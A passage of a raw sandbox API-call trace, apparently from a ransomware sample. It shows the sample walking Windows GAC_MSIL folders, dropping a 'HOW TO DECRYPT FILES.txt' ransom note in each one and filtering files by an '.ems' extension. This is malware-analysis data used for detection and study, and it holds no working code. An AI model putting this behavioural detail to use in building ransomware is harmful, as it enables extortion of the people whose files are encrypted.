pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.451] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.451] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework.royale\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.451] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationframework.royale\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.454] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.454] CloseHandle (hObject=0x90) returned 1 [0101.454] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationFramework.Royale.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Royale.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Royale.dll" [0101.454] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationFramework.Royale\\3.0.0.0__31bf3856ad364e35\\PresentationFramework.Royale.dll", pszSpec="*.ems") returned 0 [0101.454] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653fb0e, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x653fb0e, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7a4fb7dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 0 [0101.454] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.454] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a29d00, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a29d00, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a29d00, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.455] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.455] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="PresentationUI", cAlternateFileName="PRESEN~4")) returned 1 [0101.455] lstrcmpA (lpString1=".", lpString2="PresentationUI") returned -1 [0101.455] lstrcmpA (lpString1="..", lpString2="PresentationUI") returned -1 [0101.455] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.455] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="PresentationUI" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI" [0101.455] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.456] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.456] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.456] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.456] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.456] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.456] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.456] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.456] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\*.*") returned="*.*" [0101.456] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35" [0101.456] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.457] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.457] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.457] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.457] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa218bd5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xa218bd5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7e91ed9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd3000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationUI.dll", cAlternateFileName="")) returned 1 [0101.457] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.457] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationUI.dll") returned -1 [0101.457] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationUI.dll") returned -1 [0101.457] lstrcmpiA (lpString1="", lpString2="PresentationUI.dll") returned -1 [0101.457] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.457] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\" [0101.458] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.458] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.458] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationui\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.458] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\presentationui\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.461] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.461] CloseHandle (hObject=0x90) returned 1 [0101.462] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\", lpString2="PresentationUI.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\PresentationUI.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\PresentationUI.dll" [0101.462] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\PresentationUI\\3.0.0.0__31bf3856ad364e35\\PresentationUI.dll", pszSpec="*.ems") returned 0 [0101.462] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa218bd5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0xa218bd5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7e91ed9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd3000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationUI.dll", cAlternateFileName="")) returned 0 [0101.462] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.462] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.462] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.465] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x730065, cFileName="ReachFramework", cAlternateFileName="REACHF~1")) returned 1 [0101.465] lstrcmpA (lpString1=".", lpString2="ReachFramework") returned -1 [0101.465] lstrcmpA (lpString1="..", lpString2="ReachFramework") returned -1 [0101.465] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.465] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="ReachFramework" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework") returned="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework" [0101.466] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.466] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.466] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81a03ba0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x81a03ba0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.466] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.466] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.466] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf82610a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf82610a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 1 [0101.466] lstrcmpA (lpString1=".", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.466] lstrcmpA (lpString1="..", lpString2="3.0.0.0__31bf3856ad364e35") returned -1 [0101.466] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\*.*") returned="*.*" [0101.467] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\", lpString2="3.0.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35" [0101.467] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf82610a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf82610a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.467] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.467] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf82610a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf82610a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.467] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.467] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.467] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97f89ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97f89ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1 [0101.467] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.467] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ReachFramework.dll") returned -1 [0101.467] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ReachFramework.dll") returned -1 [0101.468] lstrcmpiA (lpString1="", lpString2="ReachFramework.dll") returned -1 [0101.468] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0101.468] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\" [0101.468] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\") returned="" [0101.468] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0101.468] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\reachframework\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0101.468] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\reachframework\\3.0.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.470] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0101.470] CloseHandle (hObject=0x90) returned 1 [0101.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\", lpString2="ReachFramework.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\ReachFramework.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\ReachFramework.dll" [0101.471] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\ReachFramework\\3.0.0.0__31bf3856ad364e35\\ReachFramework.dll", pszSpec="*.ems") returned 0 [0101.471] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97f89ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97f89ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa97f89ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 0 [0101.471] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.471] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81a03ba0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbf82610a, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0xbf82610a, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0__31bf3856ad364e35", cAlternateFileName="300~1.0__")) returned 0 [0101.471] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.471] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa2225d54, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa2225d54, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650052, dwReserved1=0x630061, cFileName="SecurityAuditPoliciesSnapIn", cAlternateFileName="SECURI~1")) returned 1 [0101.471] lstrcmpA (lpString1=".", lpString2="SecurityAuditPoliciesSnapIn") returned -1 [0101.471] lstrcmpA (lpString1="..", lpString2="SecurityAuditPoliciesSnapIn") returned -1 [0101.471] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="SecurityAuditPoliciesSnapIn" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn") returned="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn" [0101.471] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\SecurityAuditPoliciesSnapIn\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa2225d54, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa2225d54, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.472] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.472] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa2225d54, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa2225d54, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.472] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.472] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0101.472] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2225d54, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa2225d54, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa2225d54, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, 